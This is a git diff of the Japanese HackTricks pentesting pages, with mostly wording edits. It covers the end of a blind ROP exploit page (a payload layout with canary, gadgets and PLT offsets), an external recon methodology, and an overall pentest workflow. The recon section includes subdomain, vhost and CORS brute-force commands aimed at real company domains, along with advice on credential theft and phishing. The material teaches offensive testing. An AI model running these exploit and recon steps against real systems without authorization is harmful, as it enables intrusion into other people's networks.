strcmp(\<非読み取りアドレス>, \<読み取りアドレス>) -> クラッシュ * `b'A' * offset + canary + rbp + (BROP + 0x9) + RIP + (BROP + 0x7) + p64(0x300) + p64(0x0) + (PLT + 0xb ) + p64(ENTRY) + STOP` -> クラッシュします @@ -98,15 +98,15 @@ PLTテーブルは0x400000から、またはスタックからの**漏洩したR * BROP + 0x9は**`pop RDI; ret;`**を指します * PLT + 0xbは**dl\_resolve**への呼び出しを指します。 -`strcmp`を見つけたら、**`rdx`**を0より大きい値に設定することが可能です。 +`strcmp`を見つけたことで、**`rdx`**を0より大きい値に設定することが可能です。 {% hint style="success" %} -通常、`rdx`にはすでに0より大きい値が格納されているため、このステップは必要ないかもしれません。 +通常、`rdx`はすでに0より大きい値を保持しているため、このステップは必要ないかもしれません。 {% endhint %} ### 8. Writeまたは同等のものを見つける -最後に、バイナリを漏洩させるためにデータを外部に出力するガジェットが必要です。そして、この時点で**2つの引数を制御し、`rdx`を0より大きく設定することが可能です。** +最後に、バイナリを漏洩させるためにデータを外部に送信するガジェットが必要です。そして、この時点で**2つの引数を制御し、`rdx`を0より大きく設定することが可能です。** これに悪用できる一般的な関数は3つあります: @@ -118,7 +118,7 @@ PLTテーブルは0x400000から、またはスタックからの**漏洩したR 現在の問題は、**PLT内のwrite関数がどこにあるか**がわからず、**データをソケットに送信するためのfd番号がわからない**ことです。 -しかし、**PLTテーブルの位置はわかっており**、その**動作**に基づいてwriteを見つけることが可能です。そして、サーバーとの**複数の接続**を作成し、**高いFD**を使用して、いくつかの接続に一致することを期待できます。 +しかし、**PLTテーブルの位置はわかっており**、その**動作**に基づいてwriteを見つけることが可能です。また、サーバーとの**複数の接続**を作成し、**高いFD**を使用して、いくつかの接続のいずれかに一致することを期待できます。 これらの関数を見つけるための動作シグネチャ: @@ -136,16 +136,16 @@ PLTテーブルは0x400000から、またはスタックからの**漏洩したR * [https://www.ctfrecipes.com/pwn/stack-exploitation/arbitrary-code-execution/code-reuse-attack/blind-return-oriented-programming-brop](https://www.ctfrecipes.com/pwn/stack-exploitation/arbitrary-code-execution/code-reuse-attack/blind-return-oriented-programming-brop) {% hint style="success" %} -Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ -Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +AWSハッキングを学び、実践する:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +GCPハッキングを学び、実践する: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-Support HackTricks +HackTricksをサポートする -* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)! -* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** -* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. +* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください! +* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。** +* **[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを送信してハッキングトリックを共有してください。**
{% endhint %} diff --git a/generic-methodologies-and-resources/external-recon-methodology/README.md b/generic-methodologies-and-resources/external-recon-methodology/README.md index 7530d76fb..e3ccceff3 100644 --- a/generic-methodologies-and-resources/external-recon-methodology/README.md +++ b/generic-methodologies-and-resources/external-recon-methodology/README.md @@ -15,7 +15,7 @@ GCPハッキングを学び、実践する:
+
**ハッキングキャリア**に興味があり、ハッキング不可能なものをハッキングしたい方 - **私たちは採用しています!** (_流暢なポーランド語の読み書きが必要です_)。 @@ -35,7 +35,7 @@ GCPハッキングを学び、実践する: スコープ内のすべての企業とその資産がわかったので、スコープ内のドメインを見つける時です。 +> スコープ内のすべての企業とその資産を把握したので、スコープ内のドメインを見つける時が来ました。 _以下の提案された技術では、サブドメインも見つけることができ、その情報は過小評価すべきではありません。_ -まず、各企業の**主要なドメイン**を探すべきです。たとえば、_Tesla Inc._の場合、_tesla.com_になります。 +まず、各企業の**主要なドメイン**を探すべきです。たとえば、_Tesla Inc._の主要なドメインは_tesla.com_です。 ### **逆引きDNS** -ドメインのIP範囲をすべて見つけたので、**スコープ内のより多くのドメインを見つけるために、これらの**IPに対して**逆引きDNSルックアップを実行してみることができます。** 被害者のDNSサーバーまたは一般的なDNSサーバー(1.1.1.1、8.8.8.8)を使用してみてください。 +ドメインのIP範囲をすべて見つけたので、これらの**IPに対して逆引きDNSルックアップ**を実行して、**スコープ内のさらに多くのドメインを見つける**ことができます。被害者のDNSサーバーまたは一般的なDNSサーバー(1.1.1.1、8.8.8.8)を使用してみてください。 ```bash dnsrecon -r -n #DNS reverse of all of the addresses dnsrecon -d facebook.com -r 157.240.221.35/24 #Using facebooks dns @@ -226,7 +226,7 @@ dnsrecon -a -d tesla.com ``` ### **OSINT** -多くのサブドメインを迅速に取得する最も簡単な方法は、外部ソースで検索することです。最も使用される**ツール**は以下の通りです(より良い結果を得るためにAPIキーを設定してください): +多くのサブドメインを迅速に取得する最も簡単な方法は、外部ソースを検索することです。最も使用される**ツール**は以下の通りです(より良い結果を得るためにAPIキーを設定してください): * [**BBOT**](https://github.com/blacklanternsecurity/bbot) ```bash @@ -307,7 +307,7 @@ curl -s "https://crt.sh/?q=%25.$1" \ } crt tesla.com ``` -* [**gau**](https://github.com/lc/gau)**:** 指定されたドメインに対して、AlienVaultのOpen Threat Exchange、Wayback Machine、およびCommon Crawlから既知のURLを取得します。 +* [**gau**](https://github.com/lc/gau)**:** 任意のドメインに対して、AlienVaultのOpen Threat Exchange、Wayback Machine、およびCommon Crawlから既知のURLを取得します。 ```bash # Get subdomains from GAUs found URLs gau --subs tesla.com | cut -d "/" -f 3 | sort -u @@ -374,7 +374,7 @@ gobuster dns -d mysite.com -t 50 -w subdomains.txt ``` shuffledns -d example.com -list example-subdomains.txt -r resolvers.txt ``` -* [**puredns**](https://github.com/d3mondev/puredns): それは `massdns` も使用しています。 +* [**puredns**](https://github.com/d3mondev/puredns): それは `massdns` も使用します。 ``` puredns bruteforce all.txt domain.com ``` @@ -405,7 +405,7 @@ gotator -sub subdomains.txt -silent [-perm /tmp/words-permutations.txt] altdns -i subdomains.txt -w /tmp/words-permutations.txt -o /tmp/asd3 ``` * [**dmut**](https://github.com/bp0lr/dmut): サブドメインの順列、変異、変更を行うための別のツール。このツールは結果をブルートフォースします(DNSワイルドカードはサポートしていません)。 -* dmutの順列ワードリストは[**こちら**](https://raw.githubusercontent.com/bp0lr/dmut/main/words.txt)で入手できます。 +* dmutの順列ワードリストは[**こちら**](https://raw.githubusercontent.com/bp0lr/dmut/main/words.txt)から取得できます。 ```bash cat subdomains.txt | dmut -d /tmp/words-permutations.txt -w 100 \ --dns-errorLimit 10 --use-pb --verbose -s /tmp/resolvers-trusted.txt @@ -420,13 +420,13 @@ python3 main.py adobe.com adobe adobe.rules make_brute_list.sh adobe.rules adobe.brute puredns resolve adobe.brute --write adobe.valid ``` -* [**subzuf**](https://github.com/elceef/subzuf)**:** _subzuf_ は、非常にシンプルで効果的なDNS応答ガイドアルゴリズムを備えたサブドメインブルートフォースファズァです。提供された入力データセット(カスタマイズされた単語リストや過去のDNS/TLSレコードなど)を利用して、より対応するドメイン名を正確に合成し、DNSスキャン中に収集した情報に基づいてループ内でさらに拡張します。 +* [**subzuf**](https://github.com/elceef/subzuf)**:** _subzuf_ は、非常にシンプルで効果的なDNS応答ガイドアルゴリズムと組み合わされたサブドメインブルートフォースファズザーです。提供された入力データセット(カスタマイズされた単語リストや過去のDNS/TLSレコードなど)を利用して、より対応するドメイン名を正確に合成し、DNSスキャン中に収集した情報に基づいてループ内でさらに拡張します。 ``` echo www | subzuf facebook.com ``` ### **サブドメイン発見ワークフロー** -私が書いたブログ記事をチェックしてください。**Trickestワークフロー**を使用してドメインから**サブドメインの発見を自動化する**方法について説明しています。これにより、コンピュータでツールを手動で起動する必要がなくなります。 +私が書いたブログ記事をチェックしてください。**Trickestワークフロー**を使用してドメインから**サブドメイン発見を自動化する**方法について説明しています。これにより、コンピュータでツールを手動で起動する必要がなくなります: {% embed url="https://trickest.com/blog/full-subdomain-discovery-using-workflow/" %} @@ -434,7 +434,7 @@ echo www | subzuf facebook.com ### **VHosts / バーチャルホスト** -サブドメインに属する**1つまたは複数のウェブページ**を含むIPアドレスを見つけた場合、そのIP内の**ウェブを持つ他のサブドメインを見つける**ために、**OSINTソース**でIP内のドメインを探すか、**そのIP内のVHostドメイン名をブルートフォースする**ことを試みることができます。 +サブドメインに属する**1つまたは複数のウェブページ**を含むIPアドレスを見つけた場合、そのIP内の**ウェブがある他のサブドメインを見つける**ために、**OSINTソース**でIP内のドメインを探すか、**そのIP内のVHostドメイン名をブルートフォースする**ことを試みることができます。 #### OSINT @@ -442,7 +442,7 @@ echo www | subzuf facebook.com **ブルートフォース** -ウェブサーバーに隠されたサブドメインがあると疑う場合は、それをブルートフォースしてみることができます: +ウェブサーバーに隠されたサブドメインがあると疑う場合、それをブルートフォースすることを試みることができます: ```bash ffuf -c -w /path/to/wordlist -u http://victim.com -H "Host: FUZZ.victim.com" @@ -462,7 +462,7 @@ VHostScan -t example.com ### **CORSブルートフォース** -時には、_**Origin**_ ヘッダーに有効なドメイン/サブドメインが設定されているときにのみ、_**Access-Control-Allow-Origin**_ ヘッダーを返すページを見つけることがあります。このようなシナリオでは、この動作を悪用して新しい **サブドメイン** を **発見** することができます。 +時には、_**Origin**_ ヘッダーに有効なドメイン/サブドメインが設定されている場合にのみ、_**Access-Control-Allow-Origin**_ ヘッダーを返すページを見つけることがあります。このようなシナリオでは、この動作を悪用して新しい **サブドメイン** を **発見** することができます。 ```bash ffuf -w subdomains-top1million-5000.txt -u http://10.10.10.208 -H 'Origin: http://FUZZ.crossfit.htb' -mr "Access-Control-Allow-Origin" -ignore-body ``` @@ -480,15 +480,15 @@ ffuf -w subdomains-top1million-5000.txt -u http://10.10.10.208 -H 'Origin: http: 可能な[**サブドメインテイクオーバー**](../../pentesting-web/domain-subdomain-takeover.md#subdomain-takeover)を確認してください。\ もし**サブドメイン**が**S3バケット**を指している場合は、[**権限を確認**](../../network-services-pentesting/pentesting-web/buckets/)してください。 -もし**異なるIPを持つサブドメイン**を見つけた場合は、**基本的な脆弱性スキャン**(NessusまたはOpenVASを使用)と、**ポートスキャン**(**nmap/masscan/shodan**を使用)を実行する必要があります。実行中のサービスに応じて、**この本の中で「攻撃」するためのいくつかのトリックを見つけることができます**。\ -_サブドメインがクライアントによって制御されていないIP内にホストされている場合があるため、スコープ外であることに注意してください。_ +もし**資産発見**で見つけたものとは異なるIPを持つ**サブドメイン**を見つけた場合は、**基本的な脆弱性スキャン**(NessusやOpenVASを使用)と、**ポートスキャン**(**nmap/masscan/shodan**を使用)を実行する必要があります。実行中のサービスに応じて、**この本で「攻撃」するためのいくつかのトリックを見つけることができます**。\ +_サブドメインがクライアントによって制御されていないIP内にホストされていることがあるため、スコープ外であることに注意してください。_ ## IPs -初期のステップで、**いくつかのIP範囲、ドメイン、サブドメイン**を**見つけたかもしれません**。\ +初期のステップで**いくつかのIP範囲、ドメイン、サブドメイン**を**見つけたかもしれません**。\ これらの範囲から**すべてのIPを収集**し、**ドメイン/サブドメイン(DNSクエリ)**のための時間です。 -以下の**無料API**のサービスを使用すると、**ドメインとサブドメインによって使用された以前のIP**を見つけることもできます。これらのIPはクライアントによってまだ所有されている可能性があり、[**CloudFlareのバイパス**](../../network-services-pentesting/pentesting-web/uncovering-cloudflare.md)を見つける手助けになるかもしれません。 +以下の**無料API**のサービスを使用すると、**ドメインとサブドメインによって使用された以前のIP**も見つけることができます。これらのIPはクライアントによってまだ所有されている可能性があり、[**CloudFlareのバイパス**](../../network-services-pentesting/pentesting-web/uncovering-cloudflare.md)を見つける手助けになるかもしれません。 * [**https://securitytrails.com/**](https://securitytrails.com/) @@ -496,15 +496,15 @@ _サブドメインがクライアントによって制御されていないIP ### **脆弱性の検索** -**CDNに属さないすべてのIPをポートスキャン**してください(そこでは興味深いものは見つからない可能性が高いです)。発見された実行中のサービスで、**脆弱性を見つけることができるかもしれません**。 +**CDNに属さないすべてのIPをポートスキャン**してください(そこでは興味深いものは見つからない可能性が高いです)。発見された実行中のサービスで**脆弱性を見つけることができるかもしれません**。 -**ホストをスキャンする方法に関する**[**ガイド**](../pentesting-network/)を見つけてください。 +**ホストをスキャンする方法についての**[**ガイド**](../pentesting-network/)**を見つけてください。** ## ウェブサーバーハンティング > すべての企業とその資産を見つけ、スコープ内のIP範囲、ドメイン、サブドメインを知っています。ウェブサーバーを探す時間です。 -前のステップで、**発見されたIPとドメインのいくつかのリコンをすでに実行しているかもしれません**ので、**すでにすべての可能なウェブサーバーを見つけているかもしれません**。しかし、見つけていない場合は、スコープ内のウェブサーバーを探すための**迅速なトリック**を見ていきます。 +前のステップで、**発見されたIPとドメインのいくつかのリコンをすでに実行しているかもしれません**ので、**すでにすべての可能なウェブサーバーを見つけているかもしれません**。しかし、見つけていない場合は、スコープ内のウェブサーバーを検索するための**迅速なトリック**を見ていきます。 これは**ウェブアプリの発見**に向けられているため、**脆弱性**と**ポートスキャン**も実行する必要があります(**スコープによって許可されている場合**)。 @@ -516,7 +516,7 @@ cat /tmp/domains.txt | httprobe -p http:8080 -p https:8443 #Check port 80, 443 a ``` ### **スクリーンショット** -スコープ内に存在する**すべてのウェブサーバー**(会社の**IP**やすべての**ドメイン**、**サブドメイン**の中)を発見したので、どこから始めればよいかわからないかもしれません。そこで、シンプルにして、すべてのサーバーのスクリーンショットを撮ることから始めましょう。**メインページ**を**見るだけ**で、**脆弱性**がある可能性の高い**奇妙な**エンドポイントを見つけることができます。 +スコープ内に存在する**すべてのウェブサーバー**(会社の**IP**やすべての**ドメイン**、**サブドメイン**の中から)を発見したので、どこから始めればよいかわからないかもしれません。そこで、シンプルにして、すべてのサーバーのスクリーンショットを撮ることから始めましょう。**メインページ**を**見るだけ**で、**脆弱性**がある可能性の高い**奇妙な**エンドポイントを見つけることができます。 提案されたアイデアを実行するには、[**EyeWitness**](https://github.com/FortyNorthSecurity/EyeWitness)、[**HttpScreenshot**](https://github.com/breenmachine/httpscreenshot)、[**Aquatone**](https://github.com/michenriksen/aquatone)、[**Shutter**](https://shutter-project.org/downloads/third-party-packages/)、[**Gowitness**](https://github.com/sensepost/gowitness)または[**webscreenshot**](https://github.com/maaaaz/webscreenshot)**を使用できます。** @@ -524,7 +524,7 @@ cat /tmp/domains.txt | httprobe -p http:8080 -p https:8443 #Check port 80, 443 a ## パブリッククラウド資産 -会社に属する潜在的なクラウド資産を見つけるためには、**その会社を特定するキーワードのリストから始める**べきです。たとえば、暗号会社の場合、次のような単語を使用することがあります:`"crypto", "wallet", "dao", "", <"subdomain_names">`。 +会社に属する潜在的なクラウド資産を見つけるためには、**その会社を特定するキーワードのリストから始めるべきです**。たとえば、暗号会社の場合、次のような単語を使用することがあります:`"crypto", "wallet", "dao", "", <"subdomain_names">`。 **バケットで使用される一般的な単語のワードリスト**も必要です: @@ -534,9 +534,9 @@ cat /tmp/domains.txt | httprobe -p http:8080 -p https:8443 #Check port 80, 443 a 次に、それらの単語を使用して**順列**を生成する必要があります(詳細については[**第二ラウンドDNSブルートフォース**](./#second-dns-bruteforce-round)を確認してください)。 -得られたワードリストを使用して、[**cloud\_enum**](https://github.com/initstring/cloud\_enum)**、** [**CloudScraper**](https://github.com/jordanpotti/CloudScraper)**、** [**cloudlist**](https://github.com/projectdiscovery/cloudlist) **または** [**S3Scanner**](https://github.com/sa7mon/S3Scanner)**を使用できます。** +得られたワードリストを使用して、[**cloud\_enum**](https://github.com/initstring/cloud\_enum)**、**[**CloudScraper**](https://github.com/jordanpotti/CloudScraper)**、**[**cloudlist**](https://github.com/projectdiscovery/cloudlist) **または** [**S3Scanner**](https://github.com/sa7mon/S3Scanner)**を使用できます。** -クラウド資産を探す際には、**AWSのバケットだけでなく、他のものも探す**必要があることを忘れないでください。 +クラウド資産を探す際には、**AWSのバケットだけでなく、他のものも探すべきです**。 ### **脆弱性の検索** @@ -544,7 +544,7 @@ cat /tmp/domains.txt | httprobe -p http:8080 -p https:8443 #Check port 80, 443 a ## メール -スコープ内の**ドメイン**と**サブドメイン**を持っているので、**メールを検索するために必要なすべてのもの**があります。これらは、会社のメールを見つけるために私が最も効果的だと感じた**API**と**ツール**です: +スコープ内の**ドメイン**と**サブドメイン**を持っているので、**メールを検索するために必要なすべてのものがあります**。これらは、会社のメールを見つけるために私が最も効果的だと感じた**API**と**ツール**です: * [**theHarvester**](https://github.com/laramies/theHarvester) - APIを使用 * [**https://hunter.io/**](https://hunter.io/)のAPI(無料版) @@ -553,7 +553,7 @@ cat /tmp/domains.txt | httprobe -p http:8080 -p https:8443 #Check port 80, 443 a ### **脆弱性の検索** -メールは、**ウェブログインや認証サービス**(SSHなど)を**ブルートフォース**する際に役立ちます。また、**フィッシング**にも必要です。さらに、これらのAPIは、フィッシングキャンペーンに役立つ、メールの背後にいる**人物に関するさらなる情報**を提供します。 +メールは後で**ウェブログインや認証サービス**(SSHなど)を**ブルートフォース**するのに役立ちます。また、**フィッシング**にも必要です。さらに、これらのAPIは、フィッシングキャンペーンに役立つ**メールの背後にいる人物に関する情報**をさらに提供します。 ## 資格情報の漏洩 @@ -568,7 +568,7 @@ cat /tmp/domains.txt | httprobe -p http:8080 -p https:8443 #Check port 80, 443 a ## 秘密の漏洩 -資格情報の漏洩は、**機密情報が漏洩し販売された**企業のハッキングに関連しています。しかし、企業は、これらのデータベースに情報がない**他の漏洩**の影響を受ける可能性があります: +資格情報の漏洩は、**機密情報が漏洩して販売された**企業のハッキングに関連しています。ただし、企業は、これらのデータベースに情報がない**他の漏洩**の影響を受ける可能性があります: ### Githubの漏洩 @@ -592,9 +592,9 @@ cat /tmp/domains.txt | httprobe -p http:8080 -p https:8443 #Check port 80, 443 a ### Google Dorks -古くても金のようなGoogle Dorksは、**そこにあるべきでない情報を見つける**のに常に役立ちます。唯一の問題は、[**google-hacking-database**](https://www.exploit-db.com/google-hacking-database)に、手動で実行できない数千の可能なクエリが含まれていることです。したがって、お気に入りの10個を取得するか、[**Gorks**](https://github.com/carlospolop/Gorks)のような**ツールを使用してすべてを実行**することができます。 +古くても金の価値があるGoogle Dorksは、**そこにあるべきでない情報を見つける**のに常に役立ちます。唯一の問題は、[**google-hacking-database**](https://www.exploit-db.com/google-hacking-database)に、手動で実行できない**数千**の可能なクエリが含まれていることです。したがって、お気に入りの10個を取得するか、[**Gorks**](https://github.com/carlospolop/Gorks)のような**ツールを使用してすべてを実行**することができます。 -_すべてのデータベースを通常のGoogleブラウザを使用して実行しようとするツールは、非常に早くGoogleにブロックされるため、決して終わりません。_ +_すべてのデータベースを通常のGoogleブラウザを使用して実行しようとするツールは、Googleが非常に早くブロックするため、決して終わらないことに注意してください。_ ### **脆弱性の検索** @@ -602,7 +602,7 @@ _すべてのデータベースを通常のGoogleブラウザを使用して実 ## 公開コードの脆弱性 -会社が**オープンソースコード**を持っていることがわかった場合、それを**分析**し、**脆弱性**を探すことができます。 +会社が**オープンソースコード**を持っていることがわかった場合、それを**分析**して**脆弱性**を探すことができます。 **言語によって**異なる**ツール**を使用できます: @@ -618,23 +618,23 @@ _すべてのデータベースを通常のGoogleブラウザを使用して実 **バグハンターによって見つかった脆弱性の大多数**は**ウェブアプリケーション**内に存在するため、この時点で**ウェブアプリケーションテスト手法**について話したいと思います。詳細は[**こちらで確認できます**](../../network-services-pentesting/pentesting-web/)。 -また、[**Web Automated Scannersオープンソースツール**](../../network-services-pentesting/pentesting-web/#automatic-scanners)のセクションにも特別な言及をしたいと思います。非常に機密性の高い脆弱性を見つけることを期待すべきではありませんが、**初期のウェブ情報を得るためのワークフローに実装するのに役立ちます。** +また、[**Web Automated Scannersオープンソースツール**](../../network-services-pentesting/pentesting-web/#automatic-scanners)のセクションにも特別な言及をしたいと思います。非常に機密性の高い脆弱性を見つけることを期待すべきではありませんが、**初期のウェブ情報を得るためのワークフローに実装するのに役立ちます**。 ## 再確認 > おめでとうございます!この時点で、**すべての基本的な列挙**をすでに実行しています。はい、基本的なことです。さらに多くの列挙が可能です(後でさらにトリックを見ていきます)。 -したがって、すでに次のことを行っています: +したがって、すでに次のことを行いました: 1. スコープ内のすべての**会社**を見つけた 2. 会社に属するすべての**資産**を見つけた(スコープ内で脆弱性スキャンを実行) 3. 会社に属するすべての**ドメイン**を見つけた -4. ドメインのすべての**サブドメイン**を見つけた(サブドメインの乗っ取りは?) +4. ドメインのすべての**サブドメイン**を見つけた(サブドメインの乗っ取りはありますか?) 5. スコープ内のすべての**IP**(CDNからのものとそうでないもの)を見つけた -6. すべての**ウェブサーバー**を見つけ、**スクリーンショット**を撮った(より深く見る価値のある奇妙なものは?) +6. すべての**ウェブサーバー**を見つけ、**スクリーンショット**を撮った(より深く見る価値のある奇妙なものはありますか?) 7. 会社に属するすべての**潜在的なパブリッククラウド資産**を見つけた -8. **メール**、**資格情報の漏洩**、および**秘密の漏洩**があり、**非常に簡単に大きな勝利を得ることができる** -9. 見つけたすべてのウェブを**ペンテスト** +8. **メール**、**資格情報の漏洩**、および**秘密の漏洩**があり、**非常に簡単に大きな勝利を得ることができる**。 +9. **見つけたすべてのウェブをペンテストする** ## **フルリコン自動ツール** @@ -649,9 +649,9 @@ _すべてのデータベースを通常のGoogleブラウザを使用して実 * [**@Jhaddix**](https://twitter.com/Jhaddix)のすべての無料コース、例えば[**The Bug Hunter's Methodology v4.0 - Recon Edition**](https://www.youtube.com/watch?v=p4JgIu1mceI) -
+
-**ハッキングキャリア**に興味があり、**ハッキング不可能なものをハッキングしたい**方 - **私たちは採用しています!**(_流暢なポーランド語の読み書きが必要_)。 +**ハッキングキャリア**に興味があり、ハッキング不可能なものをハッキングしたい方 - **私たちは採用しています!**(_流暢なポーランド語の読み書きが必要_)。 {% embed url="https://www.stmcyber.com/careers" %} @@ -664,8 +664,8 @@ GCPハッキングを学び、実践する:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ @@ -10,18 +10,18 @@ GCPハッキングを学び、実践する:
+
-**ハッキングキャリア**に興味があり、ハッキング不可能なものをハッキングしたい方 - **私たちは採用しています!** (_流暢なポーランド語の読み書きが必要です_)。 +**ハッキングキャリア**に興味があり、ハッキング不可能なものをハッキングしたい方 - **私たちは採用しています!**(_流暢なポーランド語の読み書きが必要_)。 {% embed url="https://www.stmcyber.com/careers" %} -## ペンテスティング手法 +## ペンテスト手法
@@ -29,7 +29,7 @@ _Hacktricksのロゴは_ [_@ppiernacho_](https://www.instagram.com/ppieranacho/) ### 0- 物理攻撃 -攻撃したいマシンに**物理的アクセス**がありますか?いくつかの[**物理攻撃に関するトリック**](../hardware-physical-access/physical-attacks.md)や[**GUIアプリケーションからの脱出に関するトリック**](../hardware-physical-access/escaping-from-gui-applications.md)を読むべきです。 +攻撃したいマシンに**物理アクセス**がありますか?いくつかの[**物理攻撃に関するトリック**](../hardware-physical-access/physical-attacks.md)や[**GUIアプリケーションからの脱出に関するトリック**](../hardware-physical-access/escaping-from-gui-applications.md)を読むべきです。 ### 1 - [ネットワーク内のホストを発見する](pentesting-network/#discovering-hosts)/ [会社の資産を発見する](external-recon-methodology/) @@ -39,33 +39,33 @@ _Hacktricksのロゴは_ [_@ppiernacho_](https://www.instagram.com/ppieranacho/) 外部テストを実施している場合、会社の内部ネットワークへのアクセスを取得したら、このガイドを再起動する必要があります。 {% endhint %} -### **2-** [**ネットワークで楽しむ**](pentesting-network/) **(内部)** +### **2-** [**ネットワークで楽しむ**](pentesting-network/) **(内部)** **このセクションは内部テストを実施している場合にのみ適用されます。**\ -ホストを攻撃する前に、**ネットワークからいくつかの資格情報を盗む**か、**データをスニッフィング**して**パッシブ/アクティブ(MitM)**にネットワーク内で何が見つかるかを学ぶことを好むかもしれません。 [**ペンテスティングネットワーク**](pentesting-network/#sniffing)を読むことができます。 +ホストを攻撃する前に、**ネットワークからいくつかの資格情報を盗む**か、**データをスニッフィング**して**受動的/能動的(MitM)**にネットワーク内で何が見つかるかを学ぶことを好むかもしれません。 [**ペンテストネットワーク**](pentesting-network/#sniffing)を読むことができます。 ### 3- [ポートスキャン - サービス発見](pentesting-network/#scanning-hosts) -**ホストの脆弱性を探す**ときに最初に行うべきことは、どの**サービスがどのポートで実行されているかを知る**ことです。[**ホストのポートをスキャンするための基本ツール**](pentesting-network/#scanning-hosts)を見てみましょう。 +**ホストの脆弱性を探す**ときに最初に行うべきことは、どの**サービスがどのポートで実行されているか**を知ることです。[ **ホストのポートをスキャンするための基本ツール**](pentesting-network/#scanning-hosts)を見てみましょう。 ### **4-** [サービスバージョンの脆弱性を検索する](search-exploits.md) どのサービスが実行されているか、そしておそらくそのバージョンを知ったら、**既知の脆弱性を検索する**必要があります。運が良ければ、シェルを取得するためのエクスプロイトがあるかもしれません... -### **5-** ペンテスティングサービス +### **5-** ペンテストサービス 実行中のサービスに特別なエクスプロイトがない場合は、各サービスの**一般的な誤設定を探す**べきです。 -**この本の中には、最も一般的なサービスをペンテストするためのガイドがあります**(あまり一般的でないサービスも含む)。左のインデックスで**_**ペンテスティング**_**セクションを検索してください**(サービスはデフォルトポート順に並んでいます)。 +**この本の中には、最も一般的なサービスをペンテストするためのガイドがあります**(あまり一般的でないサービスも含む)。左のインデックスで**_**ペンテスト**_**セクションを検索してください**(サービスはデフォルトポート順に並んでいます)。 -**特に** [**ペンテスティングWeb**](../network-services-pentesting/pentesting-web/) **部分に特別な言及をしたいと思います(最も広範な部分です)。**\ +**特に** [**ペンテストウェブ**](../network-services-pentesting/pentesting-web/) **部分に特別な言及をしたいと思います(最も広範な部分です)。**\ また、[**ソフトウェアの既知の脆弱性を見つける方法**](search-exploits.md)に関する小さなガイドもここにあります。 -**インデックスにサービスがない場合は、Googleで他のチュートリアルを検索し、**追加してほしい場合はお知らせください。Googleで何も見つからない場合は、**自分でブラインドペンテスティングを行い、**サービスに接続し、ファジングして応答を読むことから始めることができます**(あれば)。 +**インデックスにサービスがない場合は、Googleで他のチュートリアルを検索し、**追加してほしい場合はお知らせください。Googleで何も見つからない場合は、**自分でブラインドペンテストを実施し、**サービスに接続し、ファジングして応答を読み取ることから始めることができます**(あれば)。 #### 5.1 自動ツール -**自動脆弱性評価を実行できるツールもいくつかあります。** **[**Legion**](https://github.com/carlospolop/legion)**を試してみることをお勧めします。これは、私が作成したツールで、この本にあるペンテスティングサービスに関するノートに基づいています。** +**自動脆弱性評価を実行できるツールもいくつかあります。** **[**Legion**](https://github.com/carlospolop/legion)**を試してみることをお勧めします。これは、私が作成したツールで、この本にあるペンテストサービスに関するノートに基づいています。** #### **5.2 ブルートフォースサービス** @@ -110,13 +110,13 @@ _Hacktricksのロゴは_ [_@ppiernacho_](https://www.instagram.com/ppieranacho/) #### **10.2- ドメイン特権昇格** -ここに、[**Active Directoryで特権を列挙、昇格、持続させるための最も一般的なアクションを説明する手法**](../windows-hardening/active-directory-methodology/)があります。このプロセスは、ペンテスティング/レッドチームの任務において**非常にデリケート**である可能性があります。 +ここに、[**Active Directoryで特権を列挙、昇格、持続させるための最も一般的なアクションを説明する手法**](../windows-hardening/active-directory-methodology/)があります。このプロセスは、ペンテスト/レッドチームの任務において**非常にデリケート**である可能性があります。 ### 11 - POST #### **11**.1 - ルーティング -ホスト内でさらに多くの**パスワード**を見つけることができるか、**ユーザーの特権**で他のマシンに**アクセス**できるか確認してください。\ +ホスト内でさらに多くの**パスワード**を見つけることができるか、**ユーザーの特権**で**他のマシンにアクセス**できるか確認してください。\ [**Windowsでパスワードをダンプするさまざまな方法**](https://github.com/carlospolop/hacktricks/blob/master/generic-methodologies-and-resources/broken-reference/README.md)を見つけてください。 #### 11.2 - 持続性 @@ -128,9 +128,9 @@ TODO: WindowsおよびLinuxの持続性投稿を完成させる ### 12 - ピボッティング -**収集した資格情報**を使用して他のマシンにアクセスできるか、または**新しいホストを発見してスキャンする**必要があるかもしれません(ペンテスティング手法を再度開始)。\ +**収集した資格情報**を使用して他のマシンにアクセスできるか、または**新しいホストを発見してスキャンする**必要があるかもしれません(ペンテスト手法を再度開始)。\ この場合、トンネリングが必要になるかもしれません。ここに[**トンネリングに関する投稿があります**](tunneling-and-port-forwarding.md)。\ -また、[Active Directoryペンテスティング手法](../windows-hardening/active-directory-methodology/)に関する投稿も確認するべきです。そこでは、横移動、特権昇格、資格情報のダンプに関するクールなトリックが見つかります。\ +また、[Active Directoryペンテスト手法](../windows-hardening/active-directory-methodology/)に関する投稿も確認するべきです。そこでは、横移動、特権昇格、資格情報のダンプに関するクールなトリックが見つかります。\ [**NTLM**](../windows-hardening/ntlm/)に関するページも確認してください。Windows環境でピボッティングするのに非常に役立つかもしれません。 ### さらに @@ -151,9 +151,9 @@ TODO: WindowsおよびLinuxの持続性投稿を完成させる * [**CBC-MAC**](../crypto-and-stego/cipher-block-chaining-cbc-mac-priv.md) * [**パディングオラクル**](../crypto-and-stego/padding-oracle-priv.md) -
+
